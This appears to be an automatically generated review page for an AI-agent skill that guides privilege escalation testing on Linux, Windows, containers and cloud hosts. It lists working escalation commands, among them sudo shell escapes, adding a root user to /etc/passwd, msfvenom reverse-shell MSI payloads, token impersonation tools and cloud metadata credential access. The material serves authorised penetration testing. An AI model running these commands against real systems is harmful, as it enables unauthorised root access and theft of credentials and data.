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Skill dossier

performing-privilege-escalation-assessment

Source declaration

Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.

The author's original description, preserved in English. It describes intent, not verified performance.

Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.

developmentreferencesscripts

Research summary

Machine-generated analysis; pending human review

These observations come from deterministic source parsing, not a human security review or controlled task evaluation.

Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment. This bilingual summary is generated deterministically from collected source text and file structure; it is pending human editorial review.

Review scope

Deterministic static analysis of collected SKILL.md and supporting text/code. Machine-assisted candidates and findings await human editorial review; no dynamic behavior or effect is assessed.

Observable capabilities

  • Workflow [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L60]
  • Step 1: System Enumeration [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L62]
  • Step 2: Linux Privilege Escalation Vectors [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L89]
  • Step 3: Windows Privilege Escalation Vectors [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L109]
  • Step 4: Container and Cloud Escalation [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L127]
  • Step 5: Documentation and Impact Assessment [Source statement; provisional, not tested. Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L136]

Limitations & scope

  • Static analysis cannot assess runtime behavior, command success, network reachability, or model output quality.
  • No commands, scripts, network requests, model calls, or controlled skill executions were performed.
  • Category, tags, capabilities, workflows, and bilingual editorial summaries are deterministic candidates pending human review, not verified outcomes.
  • Exact token counts are unavailable until a later pipeline performs and records an official model-specific count.

Relevant for

  • Practitioners evaluating whether to inspect and install the source skill; this audience is inferred from the product context, not measured usage. [Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L1-L39]

What ships with the skill

The file inventory comes from the collected source at the recorded commit. Paths and sizes are structural observations, not a measure of quality.

files
4
Markdown files
2
scripts
1
references
1
Size
34.8 KB
Structural complexity
Low

File inventory

PathTypeBytes
skills/performing-privilege-escalation-assessment/LICENSEOther11 KB
skills/performing-privilege-escalation-assessment/references/api-reference.mdReference1.8 KB
skills/performing-privilege-escalation-assessment/scripts/agent.pyScript9.5 KB
skills/performing-privilege-escalation-assessment/SKILL.mdInstruction12.4 KB

SKILL.md frontmatter

{
  "name": "performing-privilege-escalation-assessment",
  "description": "Performs privilege escalation assessments on compromised Linux and Windows systems to identify paths from low-privilege access to root or SYSTEM-level control. The tester enumerates misconfigurations, vulnerable services, kernel exploits, SUID binaries, unquoted service paths, and credential stores to demonstrate the full impact of an initial compromise. Activates for requests involving privilege escalation testing, local exploitation, post-compromise escalation, or OS-level security assessment.\n",
  "domain": "cybersecurity",
  "subdomain": "penetration-testing",
  "tags": [
    "privilege-escalation",
    "post-exploitation",
    "Linux-privesc",
    "Windows-privesc",
    "local-exploitation"
  ],
  "version": "1.0.0",
  "author": "mahipal",
  "license": "Apache-2.0",
  "d3fend_techniques": [
    "Executable Denylisting",
    "Execution Isolation",
    "File Metadata Consistency Validation",
    "Restore Access",
    "Password Authentication"
  ],
  "nist_csf": [
    "ID.RA-01",
    "ID.RA-06",
    "GV.OV-02",
    "DE.AE-07"
  ],
  "mitre_attack": [
    "T1595",
    "T1190",
    "T1059",
    "T1078",
    "T1068"
  ]
}

A reading of the operating sequence

This workflow reconstructs the apparent sequence from source material. Unless controlled evaluation is explicitly recorded, it is provisional—not an observed trace.

  1. 01
    Decision

    When to Use

    Source-described decision candidate under “When to Use”; not verified execution.

  2. 02
    Action

    Workflow

    Source-described action candidate under “Workflow”; not verified execution.

  3. 03
    Action

    Step 1: System Enumeration

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  4. 04
    Action

    `id && whoami` - Current user and group memberships

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  5. 05
    Action

    `uname -a` - Kernel version for kernel exploit identification

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  6. 06
    Action

    `cat /etc/os-release` - Distribution and version

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

Inspect all extracted workflow candidates (73 candidate steps)
  1. 07
    Action

    `sudo -l` - Commands the current user can run as root via sudo

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  2. 08
    Action

    `find / -perm -4000 -type f 2>/dev/null` - SUID binaries

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  3. 09
    Action

    `find / -perm -2000 -type f 2>/dev/null` - SGID binaries

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  4. 10
    Action

    `crontab -l && ls -la /etc/cron` - Scheduled tasks running as root

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  5. 11
    Action

    `ps aux | grep root` - Processes running as root

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  6. 12
    Action

    `cat /etc/passwd` - User accounts (look for additional users with UID 0)

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  7. 13
    Action

    `find / -writable -type d 2>/dev/null` - World-writable directories

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  8. 14
    Action

    Run `linpeas.sh` for automated comprehensive enumeration

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  9. 15
    Action

    `whoami /priv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  10. 16
    Action

    `systeminfo` - OS version, hotfix level, architecture

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  11. 17
    Action

    `wmic service get name,pathname,startmode` - Unquoted service paths

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  12. 18
    Action

    `icacls "C:\Program Files" /T` - Writable directories in Program Files

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  13. 19
    Action

    `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` - AlwaysInstallElevated check

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  14. 20
    Action

    `cmdkey /list` - Stored Windows credentials

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  15. 21
    Action

    `schtasks /query /fo LIST /v` - Scheduled tasks with their run-as accounts

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  16. 22
    Action

    Run `winPEAS.exe` for automated comprehensive enumeration

    Source-described action candidate under “Step 1: System Enumeration”; not verified execution.

  17. 23
    Action

    Step 2: Linux Privilege Escalation Vectors

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  18. 24
    Decision

    Sudo misconfigurations: If `sudo -l` shows entries like `(ALL) NOPASSWD: /usr/bin/vim`, use GTFOBins to escalate:

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  19. 25
    Action

    `sudo vim -c ':!/bin/bash'` to spawn a root shell

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  20. 26
    Action

    Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  21. 27
    Decision

    SUID binary abuse: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  22. 28
    Decision

    Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  23. 29
    Action

    Known SUID: Check GTFOBins for exploitation of standard SUID binaries

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  24. 30
    Decision

    Cron job exploitation: If a cron job runs a script writable by the current user, or runs a script from a writable directory:

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  25. 31
    Action

    Modify the script to add a reverse shell or SUID copy of bash

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  26. 32
    Decision

    PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  27. 33
    Action

    Kernel exploits: Match the kernel version to known exploits:

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  28. 34
    Action

    DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  29. 35
    Action

    DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  30. 36
    Action

    PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  31. 37
    Action

    Capabilities abuse: `getcap -r / 2>/dev/null` to find binaries with elevated capabilities (capsetuid, capdacoverride)

    Source-described action candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  32. 38
    Decision

    Writable /etc/passwd: If /etc/passwd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd`

    Source-described decision candidate under “Step 2: Linux Privilege Escalation Vectors”; not verified execution.

  33. 39
    Action

    Step 3: Windows Privilege Escalation Vectors

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  34. 40
    Decision

    Token impersonation: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS):

    Source-described decision candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  35. 41
    Action

    Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  36. 42
    Action

    `PrintSpoofer.exe -i -c "cmd /c whoami"` -> `NT AUTHORITY\SYSTEM`

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  37. 43
    Decision

    Unquoted service paths: If a service has an unquoted path with spaces (e.g., `C:\Program Files\My App\service.exe`) and you can write to an intermediate directory:

    Source-described decision candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  38. 44
    Action

    Place a malicious executable at `C:\Program Files\My.exe` which will execute when the service restarts

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  39. 45
    Decision

    Writable service binaries: If you can modify the executable of a service running as SYSTEM:

    Source-described decision candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  40. 46
    Action

    Replace the binary with a reverse shell and restart the service

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  41. 47
    Decision

    AlwaysInstallElevated: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:

    Source-described decision candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  42. 48
    Action

    Generate a malicious MSI: `msfvenom -p windows/x64/shellreversetcp LHOST=<ip> LPORT=<port> -f msi -o shell.msi`

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  43. 49
    Action

    Install with elevated privileges: `msiexec /quiet /qn /i shell.msi`

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  44. 50
    Action

    Stored credentials: Check for credentials in `cmdkey /list`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  45. 51
    Input

    DLL hijacking: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.

    Source-described input candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  46. 52
    Action

    Scheduled tasks: Find tasks running as SYSTEM with writable scripts or binaries

    Source-described action candidate under “Step 3: Windows Privilege Escalation Vectors”; not verified execution.

  47. 53
    Action

    Step 4: Container and Cloud Escalation

    Source-described action candidate under “Step 4: Container and Cloud Escalation”; not verified execution.

  48. 54
    Decision

    Docker breakout: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`/var/run/docker.sock`), or has `SYSADMIN` capability

    Source-described decision candidate under “Step 4: Container and Cloud Escalation”; not verified execution.

  49. 55
    Action

    Kubernetes pod escalation: Check for service account tokens with cluster-admin rights, hostPID/hostNetwork namespaces, or hostPath volume mounts

    Source-described action candidate under “Step 4: Container and Cloud Escalation”; not verified execution.

  50. 56
    Action

    Cloud metadata: Access cloud instance metadata from compromised hosts (`http://169.254.169.254/latest/meta-data/`) to discover IAM roles, credentials, and instance information

    Source-described action candidate under “Step 4: Container and Cloud Escalation”; not verified execution.

  51. 57
    Decision

    IAM role abuse: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation

    Source-described decision candidate under “Step 4: Container and Cloud Escalation”; not verified execution.

  52. 58
    Action

    Step 5: Documentation and Impact Assessment

    Source-described action candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  53. 59
    Action

    Record every command executed during escalation with timestamps

    Source-described action candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  54. 60
    Action

    Capture proof of elevated access (whoami showing root/SYSTEM, accessing restricted files)

    Source-described action candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  55. 61
    Action

    Document what data or systems become accessible at the elevated privilege level

    Source-described action candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  56. 62
    Action

    Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)

    Source-described action candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  57. 63
    Input

    Provide specific remediation for each identified escalation vector

    Source-described input candidate under “Step 5: Documentation and Impact Assessment”; not verified execution.

  58. 64
    Action

    Key Concepts

    Source-described action candidate under “Key Concepts”; not verified execution.

  59. 65
    Action

    Tools & Systems

    Source-described action candidate under “Tools & Systems”; not verified execution.

  60. 66
    Action

    Common Scenarios

    Source-described action candidate under “Common Scenarios”; not verified execution.

  61. 67
    Action

    Run `linpeas.sh` which identifies that `www-data` can run `/usr/bin/find` as root via sudo without a password

    Source-described action candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  62. 68
    Action

    Verify with `sudo -l`: `(root) NOPASSWD: /usr/bin/find`

    Source-described action candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  63. 69
    Action

    Consult GTFOBins for the `find` sudo entry: `sudo find . -exec /bin/bash -p \; -quit`

    Source-described action candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  64. 70
    Action

    Execute the command and obtain a root shell

    Source-described action candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  65. 71
    Input

    As root, access `/etc/shadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII

    Source-described input candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  66. 72
    Action

    Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible

    Source-described action candidate under “Scenario: Privilege Escalation on a Linux Web Server”; not verified execution.

  67. 73
    Output

    Output Format

    Source-described output candidate under “Output Format”; not verified execution.

Potential risk surfaces

Static findings identify points to inspect before installation. They do not establish that a skill is safe, malicious, or effective.

Attention recommended

53 deterministic lexical finding(s) require review across the collected text. Findings can occur in documentation and do not prove execution or exploitability; binary-only files were not scanned.

Network accessObserved
File writesObserved
Credential useObserved
Medium

Network access is mentioned

7 occurrences

A URL or network client appears in this source line. Review destinations, data sent, and trust boundaries; static text cannot establish actual network activity. This rule matched 7 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

High

Elevated privileges are referenced

23 occurrences

Privilege-elevation syntax is present. Confirm whether elevation is necessary and inspect every operation performed under it; static analysis cannot prove that elevation succeeded. This rule matched 23 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Note

File modification is described or implemented

20 occurrences

This line contains a possible file-write or redirection operation. Check destination paths and overwrite behavior; the static review did not write any file. This rule matched 20 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

High

Credential or secret material is referenced

3 occurrences

This line resembles a credential literal or reads a sensitive environment value. Do not expose its contents; verify whether it is a placeholder, required secret, or accidentally committed material. This rule matched 3 location(s) in the collected text; 3 representative location(s) are cited. Matching text may be documentation, and the analyzer did not execute it.

Where context can be spent

Discovery, activation, and resource layers have different meanings. Exact values appear only when the official token-counting method was run with a named model.

Exact token counts unavailable

All token values, including per-file inventory, are null until the pipeline performs an official exact count with an explicit model.

No token measurement was recorded with the required official method. This dossier does not substitute character counts, file sizes, or estimates.

Controlled evaluation

No controlled evaluation

This skill has only the evidence identified above. No task success, token efficiency, latency, or quality advantage is claimed.

Not tested

Use with the source in view

Install command
Inspect the pinned source at https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/54a798831d2266a3ca61ce68a7acb80b81160d57/skills/performing-privilege-escalation-assessment/SKILL.md and follow the source repository's installation instructions. No installation was performed or verified by this static analyzer. Source license: Apache-2.0.

Prerequisites

  • Static analysis cannot assess runtime behavior, command success, network reachability, or model output quality.
  • No commands, scripts, network requests, model calls, or controlled skill executions were performed.
  • Category, tags, capabilities, workflows, and bilingual editorial summaries are deterministic candidates pending human review, not verified outcomes.
  • Exact token counts are unavailable until a later pipeline performs and records an official model-specific count.

Example prompts

Not provided

A decision, with its limits attached

Strengths

  • The snapshot contains 4 collected file(s), 2 Markdown file(s), and 1 script file(s), enabling source-level inspection. [Evidence: skills/performing-privilege-escalation-assessment/SKILL.md:L1]

Considerations

  • No functional, security, or model-quality result has been established. Human review must inspect source context and all cited findings before installation or publication.
Research conclusion

Provisional deterministic static inventory only; pending human editorial review and, separately, controlled evaluation. No install recommendation, security assurance, or effectiveness claim is made.

Traceable by construction

The dossier is a time-bound reading of a public artifact, not an endorsement. Use the source link to inspect the exact upstream material.

mukul975Anthropic-Cybersecurity-Skillsskills/performing-privilege-escalation-assessment
Source type
Community
Commit
54a798831d2266a3ca61ce68a7acb80b81160d57
Collected
20 Nov 2026
Last checked
20 Nov 2026
Upstream license
Apache-2.0
Repository stars
36,446
Content basis

Deterministic lexical parsing, YAML frontmatter validation, file inventory, source-described workflow extraction, and heuristic provisional classification of the supplied files only. Generated by machine; no LLM, execution, dynamic testing, or human editorial approval.